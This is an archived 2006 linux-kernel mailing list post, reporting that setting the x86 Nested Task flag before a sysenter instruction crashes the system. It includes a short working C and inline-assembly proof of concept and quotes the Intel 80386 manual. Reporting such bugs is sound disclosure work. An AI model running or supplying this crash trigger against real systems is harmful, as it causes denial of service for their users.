lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date:	Sun, 17 Sep 2006 19:08:24 -0400
From:	"In Cognito" <defend.the.world@...il.com>
To:	linux-kernel@...r.kernel.org
Subject: Sysenter crash with Nested Task Bit set

Here's a way to heat up your cpu and crash the rest of the system too:

main(){
asm("pushf\n"
        "popl %eax\n"
/* enable the NT bit */
        "orl $0x4000, %eax\n"
        "pushl %eax\n"
        "popf\n"

        "sysenter\n"
       );
return 0;
}

"If NT equals 1, IRET reverses the operation of a CALL or INT that
caused a task switch. The updated state of the task executing IRET is
saved in its task state segment. If the task is reentered later, the
code that follows IRET is executed."
- Intel 80386 Reference Programmer's Manual
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@...r.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ